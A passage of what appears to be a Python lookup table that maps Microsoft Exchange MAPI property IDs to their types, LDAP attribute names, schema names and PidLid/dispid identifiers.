\"ms-Exch-DXA-Imp-Seq-USN\", 2, \"PidLidEmail1OriginalEntryId\", \"dispidEmail1OriginalEntryID\", None),\n        0x8086: (0x000b, \"dXAImportNow\", \"ms-Exch-DXA-Import-Now\", 2, None, None, None),\n        0x8087: (0x101f, \"dXAInTemplateMap\", \"ms-Exch-DXA-In-Template-Map\", 2, None, None, None),\n        0x8088: (0x001f, \"dXALocalAdmin\", \"ms-Exch-DXA-Local-Admin\", 2, None, None, None),\n        0x808a: (0x001f, \"dXANativeAddressType\", \"ms-Exch-DXA-Native-Address-Type\", 2, None, None, None),\n        0x808b: (0x101f, \"dXAOutTemplateMap\", \"ms-Exch-DXA-Out-Template-Map\", 2, None, None, None),\n        0x808c: (0x001f, \"dXAPassword\", \"ms-Exch-DXA-Password\", 2, None, None, None),\n        0x808d: (0x0003, \"dXAPrevExchangeOptions\", \"ms-Exch-DXA-Prev-Exchange-Options\", 2, None, None, None),\n        0x808e: (0x000b, \"dXAPrevExportNativeOnly\", \"ms-Exch-DXA-Prev-Export-Native-Only\", 2, None, None, None),\n        0x808f: (0x0003, \"dXAPrevInExchangeSensitivity\", \"ms-Exch-DXA-Prev-In-Exchange-Sensitivity\", 2, None, None, None),\n        0x8090: (0x001f, \"dXAPrevRemoteEntries\", \"ms-Exch-DXA-Prev-Remote-Entries\", 2, \"PidLidEmail2DisplayName\", \"dispidEmail2DisplayName\", None),\n        0x8091: (0x0003, \"dXAPrevReplicationSensitivity\", \"ms-Exch-DXA-Prev-Replication-Sensitivity\", 2, None, None, None),\n        0x8092: (0x0003, \"dXAPrevTemplateOptions\", \"ms-Exch-DXA-Prev-Template-Options\", 2, \"PidLidEmail2AddressType\", \"dispidEmail2AddrType\", None),\n        0x8093: (0x0003, \"dXAPrevTypes\", \"ms-Exch-DXA-Prev-Types\", 2, \"PidLidEmail2EmailAddress\", \"dispidEmail2EmailAddress\", None),\n        0x8094: (0x001f, \"dXARecipientCP\", \"ms-Exch-DXA-Recipient-CP\", 2, \"PidLidEmail2OriginalDisplayName\", \"dispidEmail2OriginalDisplayName\", None),\n        0x8095: (0x001f, \"dXARemoteClient\", \"ms-Exch-DXA-Remote-Client\", 2, \"PidLidEmail2OriginalEntryId\", \"dispidEmail2OriginalEntryID\", None),\n        0x8096: (0x001f, \"dXAReqSeq\", \"ms-Exch-DXA-Req-Seq\", 2, None, None, None),\n        0x8097: (0x0040, \"dXAReqSeqTime\", \"ms-Exch-DXA-Req-Seq-Time\", 2, None, None, None),\n        0x8098: (0x0003, \"dXAReqSeqUSN\", \"ms-Exch-DXA-Req-Seq-USN\", 2, None, None, None),\n        0x8099: (0x001f, \"dXAReqName\", \"ms-Exch-DXA-ReqName\", 2, None, None, None),\n        0x809a: (0x001f, \"dXASvrSeq\", \"ms-Exch-DXA-Svr-Seq\", 2, None, None, None),\n        0x809b: (0x0040, \"dXASvrSeqTime\", \"ms-Exch-DXA-Svr-Seq-Time\", 2, None, None, None),\n        0x809c: (0x0003, \"dXASvrSeqUSN\", \"ms-Exch-DXA-Svr-Seq-USN\", 2, None, None, None),\n        0x809d: (0x0003, \"messageSizeLimit\", \"ms-Exch-Message-Size-Limit\", 2, None, None, None),\n        0x809e: (0x0003, \"dXATemplateOptions\", \"ms-Exch-DXA-Template-Options\", 2, None, None, None),\n        0x809f: (0x0040, \"dXATemplateTimeStamp\", \"ms-Exch-DXA-Template-TimeStamp\", 2, None, None, None),\n        0x80a0: (0x0003, \"dXATypes\", \"ms-Exch-DXA-Types\", 2, \"PidLidEmail3DisplayName\", \"dispidEmail3DisplayName\", None),\n        0x80a1: (0x101f, \"dXAUnConfContainerList\", \"ms-Exch-DXA-UnConf-Container-List\", 2, None, None, None),\n        0x80a2: (0x0003, \"encapsulationMethod\", \"ms-Exch-Encapsulation-Method\", 2, \"PidLidEmail3AddressType\", \"dispidEmail3AddrType\", None),\n        0x80a3: (0x000b, \"encrypt\", \"ms-Exch-Encrypt\", 2, \"PidLidEmail3EmailAddress\", \"dispidEmail3EmailAddress\", None),\n        0x80a4: (0x000b, \"expandDLsLocally\", \"ms-Exch-Expand-DLs-Locally\", 2, \"PidLidEmail3OriginalDisplayName\", \"dispidEmail3OriginalDisplayName\", None),\n        0x80a5: (0x101f, \"exportContainers\", \"ms-Exch-Export-Containers\", 2, \"PidLidEmail3OriginalEntryId\", \"dispidEmail3OriginalEntryID\", None),\n        0x80a6: (0x000b, \"exportCustomRecipients\", \"ms-Exch-Export-Custom-Recipients\", 2, None, None, None),\n        0x80a7: (0x000b, \"extendedCharsAllowed\", \"Extended-Chars-Allowed\", 3, None, None, None),\n        0x80a8: (0x1102, \"extensionData\", \"ms-Exch-Extension-Data\", 2, None, None, None),\n        0x80a9: (0x101f, \"extensionName\", \"Extension-Name\", 3, None, None, None),\n        0x80ac: (0x0102, \"fileVersion\", \"ms-Exch-File-Version\", 2, None, None, None),\n        0x80ad: (0x000b, \"filterLocalAddresses\", \"ms-Exch-Filter-Local-Addresses\", 2, None, None, None),\n        0x80af: (0x0003, \"garbageCollPeriod\", \"Garbage-Coll-Period\", 1, None, None, None),\n        0x80b0: (0x001f, \"gatewayLocalCred\", \"ms-Exch-Gateway-Local-Cred\", 2, None, None, None),\n        0x80b1: (0x001f, \"gatewayLocalDesig\", \"ms-Exch-Gateway-Local-Desig\", 2, None, None, None),\n        0x80b2: (0x101f, \"gatewayProxy\", \"ms-Exch-Gateway-Proxy\", 2, \"PidLidFax1AddressType\", \"dispidFax1AddrType\", None),\n        0x80b3: (0x0102, \"gatewayRoutingTree\", \"ms-Exch-Gateway-Routing-Tree\", 2, \"PidLidFax1EmailAddress\", \"dispidFax1EmailAddress\", None),\n        0x80b4: (0x0040, \"gWARTLastModified\", \"ms-Exch-GWART-Last-Modified\", 2, \"PidLidFax1OriginalDisplayName\", \"dispidFax1OriginalDisplayName\", None),\n        0x80b5: (0x000d, \"hasPartialReplicaNCs\", \"Has-Partial-Replica-NCs\", 3, \"PidLidFax1OriginalEntryId\", \"dispidFax1OriginalEntryID\", None),\n        0x80b6: (0x000d, \"hasMasterNCs\", \"Has-Master-NCs\", 3, None, None, None),\n        0x80b7: (0x0003, \"heuristics\", \"ms-Exch-Heuristics\", 1, None, None, None),\n        0x80b8: (0x000b, \"hideDLMembership\", \"ms-Exch-Hide-DL-Membership\", 1, None, None, \"HideDLMembership\"),\n        0x80ba: (0x001f, \"importContainer\", \"ms-Exch-Import-Container\", 2, None, None, None),\n        0x80bc: (0x101f, \"inboundSites\", \"ms-Exch-Inbound-Sites\", 2, None, None, None),\n        0x80bd: (0x0003, \"instanceType\", \"Instance-Type\", 1, None, None, None),\n        0x80be: (0x101f, \"internationalISDNNumber\", \"International-ISDN-Number\", 3, None, None, None),\n        0x80bf: (0x0102, \"invocationId\", \"Invocation-Id\", 3, None, None, None),\n        0x80c0: (0x000b, \"isDeleted\", \"Is-Deleted\", 1, None, None, None),\n        0x80c1: (0x000b, \"isSingleValued\", \"Is-Single-Valued\", 3, None, None, None),\n        0x80c2: (0x1102, \"kCCStatus\", \"ms-Exch-KCC-Status\", 2, \"PidLidFax2AddressType\", \"dispidFax2AddrType\", None),\n        0x80c3: (0x101f, \"knowledgeInformation\", \"Knowledge-Information\", 3, \"PidLidFax2EmailAddress\", \"dispidFax2EmailAddress\", None),\n        0x80c4: (0x0003, \"lineWrap\", \"ms-Exch-Line-Wrap\", 2, \"PidLidFax2OriginalDisplayName\", \"dispidFax2OriginalDisplayName\", None),\n        0x80c5: (0x0003, \"linkID\", \"Link-ID\", 3, \"PidLidFax2OriginalEntryId\", \"dispidFax2OriginalEntryID\", None),\n        0x80c6: (0x001f, \"localBridgeHead\", \"ms-Exch-Local-Bridge-Head\", 2, None, None, None),\n        0x80c7: (0x001f, \"localBridgeHeadAddress\", \"ms-Exch-Local-Bridge-Head-Address\", 2, None, None, None),\n        0x80c8: (0x000b, \"localInitialTurn\", \"ms-Exch-Local-Initial-Turn\", 2, None, None, None),\n        0x80ca: (0x001f, \"logFilename\", \"ms-Exch-Log-Filename\", 2, None, None, None),\n        0x80cb: (0x0003, \"logRolloverInterval\", \"ms-Exch-Log-Rollover-Interval\", 2, None, None, None),\n        0x80ce: (0x0003, \"mAPIID\", \"MAPI-ID\", 3, None, None, None),\n        0x80cf: (0x0003, \"mDBBackoffInterval\", \"ms-Exch-MDB-Backoff-Interval\", 2, None, None, None),\n        0x80d0: (0x0003, \"mDBMsgTimeOutPeriod\", \"ms-Exch-MDB-Msg-Time-Out-Period\", 2, None, None, None),\n        0x80d1: (0x0003, \"mDBOverQuotaLimit\", \"ms-Exch-MDB-Over-Quota-Limit\", 1, None, None, None),\n        0x80d2: (0x0003, \"mDBStorageQuota\", \"ms-Exch-MDB-Storage-Quota\", 1, \"PidLidFax3AddressType\", \"dispidFax3AddrType\", None),\n        0x80d3: (0x0003, \"mDBUnreadLimit\", \"ms-Exch-MDB-Unread-Limit\", 2, \"PidLidFax3EmailAddress\", \"dispidFax3EmailAddress\", None),\n        0x80d4: (0x000b, \"mDBUseDefaults\", \"ms-Exch-MDB-Use-Defaults\", 1, \"PidLidFax3OriginalDisplayName\", \"dispidFax3OriginalDisplayName\", None),\n        0x80d5: (0x000b, \"messageTrackingEnabled\", \"ms-Exch-Message-Tracking-Enabled\", 2, \"PidLidFax3OriginalEntryId\", \"dispidFax3OriginalEntryID\", None),\n        0x80d6: (0x000b, \"monitorClock\", \"ms-Exch-Monitor-Clock\", 2, None, None, None),\n        0x80d7: (0x000b, \"monitorServers\", \"ms-Exch-Monitor-Servers\", 2, None, None, None),\n        0x80d8: (0x000b, \"monitorServices\", \"ms-Exch-Monitor-Services\", 2, \"PidLidFreeBusyLocation\", \"dispidFreeBusyLocation\", None),\n        0x80d9: (0x101f, \"monitoredConfigurations\", \"ms-Exch-Monitored-Configurations\", 2, None, None, None),\n        0x80da: (0x101f, \"monitoredServers\", \"ms-Exch-Monitored-Servers\", 2, \"PidLidHomeAddressCountryCode\", \"dispidHomeAddressCountryCode\", None),\n        0x80db: (0x101f, \"monitoredServices\", \"ms-Exch-Monitored-Services\", 2, \"PidLidWorkAddressCountryCode\", \"dispidWorkAddressCountryCode\", None),\n        0x80dc: (0x0003, \"monitoringAlertDelay\", \"ms-Exch-Monitoring-Alert-Delay\", 2, \"PidLidOtherAddressCountryCode\", \"dispidOtherAddressCountryCode\", None),\n        0x80dd: (0x0003, \"monitoringAlertUnits\", \"ms-Exch-Monitoring-Alert-Units\", 2, \"PidLidAddressCountryCode\", \"dispidAddressCountryCode\", None),\n        0x80de: (0x0003, \"monitoringAvailabilityStyle\", \"ms-Exch-Monitoring-Availability-Style\", 2, \"PidLidBirthdayLocal\", \"dispidApptBirthdayLocal\", None),\n        0x80df: (0x0102, \"monitoringAvailabilityWindow\", \"ms-Exch-Monitoring-Availability-Window\", 2, \"PidLidWeddingAnniversaryLocal\", \"dispidApptAnniversaryLocal\", None),\n        0x80e0: (0x101f, \"monitoringCachedViaMail\", \"ms-Exch-Monitoring-Cached-Via-Mail\", 2, \"PidLidIsContactLinked\", \"dispidIsContactLinked\", None),\n        0x80e1: (0x101f, \"monitoringCachedViaRPC\", \"ms-Exch-Monitoring-Cached-Via-RPC\", 2, None, None, None),\n        0x80e2: (0x1102, \"monitoringEscalationProcedure\", \"ms-Exch-Monitoring-Escalation-Procedure\", 2, \"PidLidContactLinkedGlobalAddressListEntryId\", \"dispidContactLinkedGALEntryID\", None),\n        0x80e3: (0x0003, \"monitoringHotsitePollInterval\", \"ms-Exch-Monitoring-Hotsite-Poll-Interval\", 2, \"PidLidContactLinkSMTPAddressCache\", \"dispidContactLinkSMTPAddressCache\", None),\n        0x80e4: (0x0003, \"monitoringHotsitePollUnits\", \"ms-Exch-Monitoring-Hotsite-Poll-Units\", 2, None, None, None),\n        0x80e5: (0x0003, \"monitoringMailUpdateInterval\", \"ms-Exch-Monitoring-Mail-Update-Interval\", 2, \"PidLidContactLinkLinkRejectHistory\", \"dispidContactLinkLinkRejectHistory\", None),\n        0x80e6: (0x0003, \"monitoringMailUpdateUnits\", \"ms-Exch-Monitoring-Mail-Update-Units\", 2, \"PidLidContactLinkGlobalAddressListLinkState\", \"dispidContactLinkGALLinkState\", None),\n        0x80e7: (0x0003, \"monitoringNormalPollInterval\", \"ms-Exch-Monitoring-Normal-Poll-Interval\", 2, None, None, None),\n        0x80e8: (0x0003, \"monitoringNormalPollUnits\", \"ms-Exch-Monitoring-Normal-Poll-Units\", 2, \"PidLidContactLinkGlobalAddressListLinkId\", \"dispidContactLinkGALLinkID\", None),\n        0x80e9: (0x101f, \"monitoringRecipients\", \"ms-Exch-Monitoring-Recipients\", 2, None, None, None),\n        0x80ea: (0x101f, \"monitoringRecipientsNDR\", \"ms-Exch-Monitoring-Recipients-NDR\", 2, None, None, None),\n        0x80eb: (0x0003, \"monitoringRPCUpdateInterval\", \"ms-Exch-Monitoring-RPC-Update-Interval\", 2, None, None, None),\n        0x80ec: (0x0003, \"monitoringRPCUpdateUnits\", \"ms-Exch-Monitoring-RPC-Update-Units\", 2, None, None, None),\n        0x80ed: (0x0003, \"monitoringWarningDelay\", \"ms-Exch-Monitoring-Warning-Delay\", 2, None, None, None),\n        0x80ee: (0x0003, \"monitoringWarningUnits\", \"ms-Exch-Monitoring-Warning-Units\", 2, None, None, None),\n        0x80ef: (0x001f, \"mTALocalCred\", \"ms-Exch-MTA-Local-Cred\", 2, None, None, None),\n        0x80f0: (0x001f, \"mTALocalDesig\", \"ms-Exch-MTA-Local-Desig\", 2, None, None, None),\n        0x80f1: (0x0102, \"nAddress\", \"ms-Exch-N-Address\", 2, None, None, None),\n        0x80f2: (0x0003, \"nAddressType\", \"ms-Exch-N-Address-Type\", 2, None, None, None),\n        0x80f4: (0x0003, \"numOfOpenRetries\", \"ms-Exch-Num-Of-Open-Retries\", 2, None, None, None),\n        0x80f5: (0x0003, \"numOfTransferRetries\", \"ms-Exch-Num-Of-Transfer-Retries\", 2, None, None, None),\n        0x80f6: (0x0003, \"objectClassCategory\", \"Object-Class-Category\", 3, None, None, None),\n        0x80f7: (0x0003, \"objectVersion\", \"Object-Version\", 3, None, None, None),\n        0x80f8: (0x101f, \"offLineABContainers\", \"ms-Exch-Off-Line-AB-Containers\", 2, None, None, None),\n        0x80f9: (0x0102, \"offLineABSchedule\", \"ms-Exch-Off-Line-AB-Schedule\", 2, None, None, None),\n        0x80fa: (0x001f, \"offLineABServer\", \"ms-Exch-Off-Line-AB-Server\", 2, None, None, None),\n        0x80fb: (0x0003, \"offLineABStyle\", \"ms-Exch-Off-Line-AB-Style\", 2, None, None, None),\n        0x80fd: (0x0102, \"oMObjectClass\", \"OM-Object-Class\", 3, None, None, None),\n        0x80fe: (0x0003, \"oMSyntax\", \"OM-Syntax\", 1, None, None, None),\n        0x80ff: (0x000b, \"oOFReplyToOriginator\", \"ms-Exch-OOF-Reply-To-Originator\", 1, None, None, None),\n        0x8100: (0x0003, \"openRetryInterval\", \"ms-Exch-Open-Retry-Interval\", 2, None, None, None),\n        0x8101: (0x101f, \"o\", \"Organization-Name\", 1, \"PidLidTaskStatus\", \"dispidTaskStatus\", None),\n        0x8102: (0x101f, \"ou\", \"Organizational-Unit-Name\", 1, \"PidLidPercentComplete\", \"dispidPercentComplete\", None),\n        0x8103: (0x0102, \"originalDisplayTable\", \"Original-Display-Table\", 3, \"PidLidTeamTask\", \"dispidTeamTask\", None),\n        0x8104: (0x0102, \"originalDisplayTableMSDOS\", \"Original-Display-Table-MSDOS\", 3, \"PidLidTaskStartDate\", \"dispidTaskStartDate\", None),\n        0x8105: (0x101f, \"outboundSites\", \"ms-Exch-Outbound-Sites\", 2, \"PidLidTaskDueDate\", \"dispidTaskDueDate\", None),\n        0x8106: (0x0102, \"pSelector\", \"ms-Exch-P-Selector\", 2, None, None, None),\n        0x8107: (0x0102, \"pSelectorInbound\", \"ms-Exch-P-Selector-Inbound\", 2, \"PidLidTaskResetReminder\", \"dispidTaskResetReminder\", None),\n        0x8108: (0x0102, \"perMsgDialogDisplayTable\", \"Per-Msg-Dialog-Display-Table\", 3, \"PidLidTaskAccepted\", \"dispidTaskAccepted\", None),\n        0x8109: (0x0102, \"perRecipDialogDisplayTable\", \"Per-Recip-Dialog-Display-Table\", 3, \"PidLidTaskDeadOccurrence\", \"dispidTaskDeadOccur\", None),\n        0x810c: (0x101f, \"postalAddress\", \"Postal-Address\", 3, None, None, None),\n        0x810e: (0x001f, \"pRMD\", \"ms-Exch-PRMD\", 2, None, None, None),\n        0x810f: (0x001f, \"proxyGeneratorDLL\", \"ms-Exch-Proxy-Generator-DLL\", 2, \"PidLidTaskDateCompleted\", \"dispidTaskDateCompleted\", None),\n        0x8110: (0x000d, \"publicDelegatesBL\", \"ms-Exch-Public-Delegates-BL\", 2, \"PidLidTaskActualEffort\", \"dispidTaskActualEffort\", None),\n        0x8111: (0x0102, \"quotaNotificationSchedule\", \"ms-Exch-Quota-Notification-Schedule\", 2, \"PidLidTaskEstimatedEffort\", \"dispidTaskEstimatedEffort\", None),\n        0x8112: (0x0003, \"quotaNotificationStyle\", \"ms-Exch-Quota-Notification-Style\", 2, \"PidLidTaskVersion\", \"dispidTaskVersion\", None),\n        0x8113: (0x0003, \"rangeLower\", \"Range-Lower\", 1, \"PidLidTaskState\", \"dispidTaskState\", None),\n        0x8114: (0x0003, \"rangeUpper\", \"Range-Upper\", 1, None, None, None),\n        0x8115: (0x001f, \"rASCallbackNumber\", \"ms-Exch-RAS-Callback-Number\", 2, \"PidLidTaskLastUpdate\", \"dispidTaskLastUpdate\", None),\n        0x8116: (0x001f, \"rASPhoneNumber\", \"ms-Exch-RAS-Phone-Number\", 2, \"PidLidTaskRecurrence\", \"dispidTaskRecur\", None),\n        0x8117: (0x001f, \"rASPhonebookEntryName\", \"ms-Exch-RAS-Phonebook-Entry-Name\", 2, \"PidLidTaskAssigners\", \"dispidTaskMyDelegators\", None),\n        0x8118: (0x001f, \"rASRemoteSRVRName\", \"ms-Exch-RAS-Remote-SRVR-Name\", 2, None, None, None),\n        0x8119: (0x1102, \"registeredAddress\", \"Registered-Address\", 3, \"PidLidTaskStatusOnComplete\", \"dispidTaskSOC\", None),\n        0x811a: (0x001f, \"remoteBridgeHead\", \"ms-Exch-Remote-Bridge-Head\", 2, \"PidLidTaskHistory\", \"dispidTaskHistory\", None),\n        0x811b: (0x001f, \"remoteBridgeHeadAddress\", \"ms-Exch-Remote-Bridge-Head-Address\", 2, \"PidLidTaskUpdates\", \"dispidTaskUpdates\", None),\n        0x811d: (0x001f, \"remoteSite\", \"ms-Exch-Remote-Site\", 2, None, None, None),\n        0x811e: (0x0003, \"replicationSensitivity\", \"ms-Exch-Replication-Sensitivity\", 2, \"PidLidTaskFCreator\", \"dispidTaskFCreator\", None),\n        0x811f: (0x0003, \"replicationStagger\", \"ms-Exch-Replication-Stagger\", 2, \"PidLidTaskOwner\", \"dispidTaskOwner\", None),\n        0x8120: (0x000b, \"reportToOriginator\", \"ms-Exch-Report-To-Originator\", 1, \"PidLidTaskMultipleRecipients\", \"dispidTaskMultRecips\", None),\n        0x8121: (0x000b, \"reportToOwner\", \"ms-Exch-Report-To-Owner\", 1, \"PidLidTaskAssigner\", \"dispidTaskDelegator\", None),\n        0x8122: (0x0003, \"reqSeq\", \"ms-Exch-Req-Seq\", 2, \"PidLidTaskLastUser\", \"dispidTaskLastUser\", None),\n        0x8123: (0x000d, \"responsibleLocalDXA\", \"ms-Exch-Responsible-Local-DXA\", 2, \"PidLidTaskOrdinal\", \"dispidTaskOrdinal\", None),\n        0x8124: (0x001f, \"ridServer\", \"ms-Exch-Rid-Server\", 2, \"PidLidTaskNoCompute\", \"dispidTaskNoCompute\", None),\n        0x8125: (0x101f, \"roleOccupant\", \"Role-Occupant\", 3, \"PidLidTaskLastDelegate\", \"dispidTaskLastDelegate\", None),\n        0x8126: (0x101f, \"routingList\", \"ms-Exch-Routing-List\", 2, \"PidLidTaskFRecurring\", \"dispidTaskFRecur\", None),\n        0x8127: (0x0003, \"rTSCheckpointSize\", \"ms-Exch-RTS-Checkpoint-Size\", 2, \"PidLidTaskRole\", \"dispidTaskRole\", None),\n        0x8128: (0x0003, \"rTSRecoveryTimeout\", \"ms-Exch-RTS-Recovery-Timeout\", 2, None, None, None),\n        0x8129: (0x0003, \"rTSWindowSize\", \"ms-Exch-RTS-Window-Size\", 2, \"PidLidTaskOwnership\", \"dispidTaskOwnership\", None),\n        0x812a: (0x101f, \"runsOn\", \"ms-Exch-Runs-On\", 2, \"PidLidTaskAcceptanceState\", \"dispidTaskDelegValue\", None),\n        0x812b: (0x0102, \"sSelector\", \"ms-Exch-S-Selector\", 1, None, None, None),\n        0x812c: (0x0102, \"sSelectorInbound\", \"ms-Exch-S-Selector-Inbound\", 1, \"PidLidTaskFFixOffline\", \"dispidTaskFFixOffline\", None),\n        0x812d: (0x0003, \"searchFlags\", \"Search-Flags\", 3, None, None, None),\n        0x812e: (0x1102, \"searchGuide\", \"Search-Guide\", 3, None, None, None),\n        0x812f: (0x101f, \"seeAlso\", \"See-Also\", 3, None, None, None),\n        0x8130: (0x101f, \"serialNumber\", \"Serial-Number\", 3, None, None, None),\n        0x8131: (0x0003, \"serviceActionFirst\", \"ms-Exch-Service-Action-First\", 2, None, None, None),\n        0x8132: (0x0003, \"serviceActionOther\", \"ms-Exch-Service-Action-Other\", 2, None, None, None),\n        0x8133: (0x0003, \"serviceActionSecond\", \"ms-Exch-Service-Action-Second\", 2, None, None, None),\n        0x8134: (0x0003, \"serviceRestartDelay\", \"ms-Exch-Service-Restart-Delay\", 2, None, None, None),\n        0x8135: (0x001f, \"serviceRestartMessage\", \"ms-Exch-Service-Restart-Message\", 2, None, None, None),\n        0x8136: (0x0003, \"sessionDisconnectTimer\", \"ms-Exch-Session-Disconnect-Timer\", 2, None, None, None),\n        0x8138: (0x101f, \"siteProxySpace\", \"ms-Exch-Site-Proxy-Space\", 2, None, None, None),\n        0x8139: (0x0040, \"spaceLastComputed\", \"ms-Exch-Space-Last-Computed\", 2, \"PidLidTaskCustomFlags\", \"dispidTaskCustomFlags\", None),\n        0x813a: (0x001f, \"street\", \"Street-Address\", 1, None, None, None),\n        0x813b: (0x101f, \"subRefs\", \"Sub-Refs\", 1, None, None, None),\n        0x813c: (0x0003, \"submissionContLength\", \"ms-Exch-Submission-Cont-Length\", 1, None, None, None),\n        0x813d: (0x1102, \"supportedApplicationContext\", \"Supported-Application-Context\", 3, None, None, None),\n        0x813e: (0x000d, \"supportingStack\", \"ms-Exch-Supporting-Stack\", 2, None, None, None),\n        0x813f: (0x000d, \"supportingStackBL\", \"ms-Exch-Supporting-Stack-BL\", 2, None, None, None),\n        0x8140: (0x0102, \"tSelector\", \"ms-Exch-T-Selector\", 2, None, None, None),\n        0x8142: (0x101f, \"targetMTAs\", \"ms-Exch-Target-MTAs\", 2, None, None, None),\n        0x8143: (0x1102, \"teletexTerminalIdentifier\", \"Teletex-Terminal-Identifier\", 3, None, None, None),\n        0x8144: (0x0003, \"tempAssocThreshold\", \"ms-Exch-Temp-Assoc-Threshold\", 2, None, None, None),\n        0x8145: (0x0003, \"tombstoneLifetime\", \"Tombstone-Lifetime\", 3, None, None, None),\n        0x8146: (0x001f, \"trackingLogPathName\", \"ms-Exch-Tracking-Log-Path-Name\", 2, None, None, None),\n        0x8147: (0x0003, \"transRetryMins\", \"ms-Exch-Trans-Retry-Mins\", 2, None, None, None),\n        0x8148: (0x0003, \"transTimeoutMins\", \"ms-Exch-Trans-Timeout-Mins\", 2, None, None, None),\n        0x8149: (0x0003, \"transferRetryInterval\", \"ms-Exch-Transfer-Retry-Interval\", 2, None, None, None),\n        0x814a: (0x0003, \"transferTimeoutNonUrgent\", \"ms-Exch-Transfer-Timeout-Non-Urgent\", 2, None, None, None),\n        0x814b: (0x0003, \"transferTimeoutNormal\", \"ms-Exch-Transfer-Timeout-Normal\", 2, None, None, None),\n        0x814c: (0x0003, \"transferTimeoutUrgent\", \"ms-Exch-Transfer-Timeout-Urgent\", 2, None, None, None),\n        0x814d: (0x0003, \"translationTableUsed\", \"ms-Exch-Translation-Table-Used\", 2, None, None, None),\n        0x814e: (0x000b, \"transportExpeditedData\", \"ms-Exch-Transport-Expedited-Data\", 2, None, None, None),\n        0x814f: (0x0003, \"trustLevel\", \"ms-Exch-Trust-Level\", 2, None, None, None),\n        0x8150: (0x0003, \"turnRequestThreshold\", \"ms-Exch-Turn-Request-Threshold\", 2, None, None, None),\n        0x8151: (0x000b, \"twoWayAlternateFacility\", \"ms-Exch-Two-Way-Alternate-Facility\", 2, None, None, None),\n        0x8152: (0x000d, \"unauthOrigBL\", \"ms-Exch-Unauth-Orig-BL\", 1, None, None, None),\n        0x8153: (0x1102, \"userPassword\", \"User-Password\", 3, None, None, None),\n        0x8154: (0x0003, \"uSNCreated\", \"USN-Created\", 1, None, None, None),\n        0x8155: (0x0003, \"uSNDSALastObjRemoved\", \"USN-DSA-Last-Obj-Removed\", 3, None, None, None),\n        0x8156: (0x0003, \"uSNLastObjRem\", \"USN-Last-Obj-Rem\", 1, None, None, None),\n        0x8157: (0x0003, \"uSNSource\", \"USN-Source\", 3, None, None, None),\n        0x8158: (0x101f, \"x121Address\", \"X121-Address\", 3, None, None, None),\n        0x8159: (0x0102, \"x25CallUserDataIncoming\", \"ms-Exch-X25-Call-User-Data-Incoming\", 2, None, None, None),\n        0x815a: (0x0102, \"x25CallUserDataOutgoing\", \"ms-Exch-X25-Call-User-Data-Outgoing\", 2, None, None, None),\n        0x815b: (0x0102, \"x25FacilitiesDataIncoming\", \"ms-Exch-X25-Facilities-Data-Incoming\", 2, None, None, None),\n        0x815c: (0x0102, \"x25FacilitiesDataOutgoing\", \"ms-Exch-X25-Facilities-Data-Outgoing\", 2, None, None, None),\n        0x815d: (0x0102, \"x25LeasedLinePort\", \"ms-Exch-X25-Leased-Line-Port\", 2, None, None, None),\n        0x815e: (0x000b, \"x25LeasedOrSwitched\", \"ms-Exch-X25-Leased-Or-Switched\", 2, None, None, None),\n        0x815f: (0x001f, \"x25RemoteMTAPhone\", \"ms-Exch-X25-Remote-MTA-Phone\", 2, None, None, None),\n        0x8160: (0x0102, \"x400AttachmentType\", \"ms-Exch-X400-Attachment-Type\", 2, None, None, None),\n        0x8161: (0x0003, \"x400SelectorSyntax\", \"ms-Exch-X400-Selector-Syntax\", 2, None, None, None),\n        0x8163: (0x0003, \"xMITTimeoutNonUrgent\", \"ms-Exch-XMIT-Timeout-Non-Urgent\", 2, None, None, None),\n        0x8164: (0x0003, \"xMITTimeoutNormal\", \"ms-Exch-XMIT-Timeout-Normal\", 2, None, None, None),\n        0x8165: (0x0003, \"xMITTimeoutUrgent\", \"ms-Exch-XMIT-Timeout-Urgent\", 2, None, None, None),\n        0x8166: (0x0102, \"siteFolderGUID\", \"ms-Exch-Site-Folder-GUID\", 2, None, None, None),\n        0x8167: (0x001f, \"siteFolderServer\", \"ms-Exch-Site-Folder-Server\", 2, None, None, None),\n        0x8168: (0x0003, \"replicationMailMsgSize\", \"ms-Exch-Replication-Mail-Msg-Size\", 2, None, None, None),\n        0x8169: (0x0102, \"maximumObjectID\", \"ms-Exch-Maximum-Object-ID\", 2, None, None, None),\n        0x8170: (0x101f, \"networkAddress\", \"Network-Address\", 1, \"PidTagAddressBookNetworkAddress\", \"PR_EMS_AB_NETWORK_ADDRESS\", \"AbNetworkAddress\"),\n        0x8171: (0x001f, \"lDAPDisplayName\", \"LDAP-Display-Name\", 1, None, None, None),\n        0x8174: (0x101f, \"bridgeheadServers\", \"ms-Exch-Bridgehead-Servers\", 2, None, None, None),\n        0x8175: (0x101f, \"url\", \"WWW-Page-Other\", 1, None, None, None),\n        0x8177: (0x001f, \"pOPContentFormat\", \"ms-Exch-POP-Content-Format\", 2, None, None, None),\n        0x8178: (0x0003, \"languageCode\", \"ms-Exch-Language\", 2, None, None, None),\n        0x8179: (0x001f, \"pOPCharacterSet\", \"ms-Exch-POP-Character-Set\", 2, None, None, None),\n        0x817a: (0x0003, \"USNIntersite\", \"USN-Intersite\", 3, None, None, None),\n        0x817f: (0x0003, \"enabledProtocols\", \"ms-Exch-Enabled-Protocols\", 1, None, None, None),\n        0x8180: (0x0102, \"connectionListFilter\", \"ms-Exch-Connection-List-Filter\", 2, None, None, None),\n        0x8181: (0x101f, \"availableAuthorizationPackages\", \"ms-Exch-Available-Authorization-Packages\", 2, None, None, None),\n        0x8182: (0x101f, \"characterSetList\", \"ms-Exch-Character-Set-List\", 2, None, None, None),\n        0x8183: (0x000b, \"useSiteValues\", \"ms-Exch-Use-Site-Values\", 2, None, None, None),\n        0x8184: (0x101f, \"enabledAuthorizationPackages\", \"ms-Exch-Enabled-Authorization-Packages\", 2, None, None, None),\n        0x8185: (0x001f, \"characterSet\", \"ms-Exch-Character-Set\", 2, None, None, None),\n        0x8186: (0x0003, \"contentType\", \"ms-Exch-Content-Type\", 2, None, None, None),\n        0x8187: (0x000b, \"anonymousAccess\", \"ms-Exch-Anonymous-Access\", 2, None, None, None),\n        0x8188: (0x0102, \"controlMsgFolderID\", \"ms-Exch-Control-Msg-Folder-ID\", 2, None, None, None),\n        0x8189: (0x001f, \"usenetSiteName\", \"ms-Exch-Usenet-Site-Name\", 2, None, None, None),\n        0x818a: (0x0102, \"controlMsgRules\", \"ms-Exch-Control-Msg-Rules\", 2, None, None, None),\n        0x818b: (0x001f, \"availableDistributions\", \"ms-Exch-Available-Distributions\", 2, None, None, None),\n        0x818f: (0x0003, \"outgoingMsgSizeLimit\", \"ms-Exch-Outgoing-Msg-Size-Limit\", 2, None, None, None),\n        0x8190: (0x0003, 